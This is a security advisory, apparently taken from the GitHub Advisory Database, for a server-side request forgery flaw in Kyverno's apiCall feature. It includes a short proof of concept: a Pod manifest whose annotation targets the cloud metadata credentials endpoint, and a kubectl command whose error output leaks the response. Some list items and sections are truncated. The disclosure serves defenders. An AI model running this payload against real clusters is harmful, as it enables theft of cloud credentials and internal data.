github.com/kyverno/kyverno
Affected
- introduced
0, last affected1.17.1(semver)
Fixed versions
None listed
Fix
No fixed version is listed.
Advisory
Also known as: BIT-kyverno-2026-84196, CVE-2026-84196, GO-2026-5594
Kyverno has unrestricted outbound requests in Kyverno apiCall enabling SSRF
Summary
A Server-Side Request Forgery (SSRF) vulnerability in Kyverno allows authenticated users to induce the admission controller to send arbitrary HTTP requests to attacker-controlled endpoints.
When a ClusterPolicy uses apiCall.service.url with variable substitution (e.g. {{request.object.*}}), user-controlled input can influence the request target. The Kyverno admission controller executes these requests from its privileged network position without enforcing any validation or network restrictions.
The issue becomes non-blind SSRF, as response data from internal services can be reflected back to the user via admission error messages.
---
Details
Kyverno supports variable substitution in apiCall.service.url, a documented feature intended to enable dynamic external lookups during admission control.
However, the current implementation lacks fundamental safeguards in the HTTP execution path:
Missing protections
127.0.0.1)169.254.0.0/16)CheckRedirect == nil), allowing up to 10 redirects without re-validation of the target.Non-blind SSRF behavior
The vulnerability is non-blind through two mechanisms:
executor.go:98-101)This allows attackers to retrieve data from internal services directly via kubectl output.
---
PoC
Preconditions
ClusterPolicy using:apiCall:
service:
url: "http://{{ request.object.metadata.annotations.target }}"
---
Step 1 — Create malicious resource
apiVersion: v1
kind: Pod
metadata:
name: ssrf-test
annotations:
target: "169.254.169.254/latest/meta-data/iam/security-credentials/"
spec:
containers:
- name: test
image: nginx
---
Step 2 — Apply resource
kubectl apply -f pod.yaml
---
Step 3 — Observe output
Example output:
Error from server: admission webhook "kyverno" denied the request:
failed to process apiCall: <response body from metadata service>
---
Variations
---
Impact
Vulnerability class
Affected scope
apiCall.service.url and variable substitutionImpact details
This issue can be combined with automatic ServiceAccount token forwarding (reported separately) to form a critical attack chain.
High Basis: The source's own band: HIGH
0, last affected 1.17.1 (semver)None listed
No fixed version is listed.
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Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0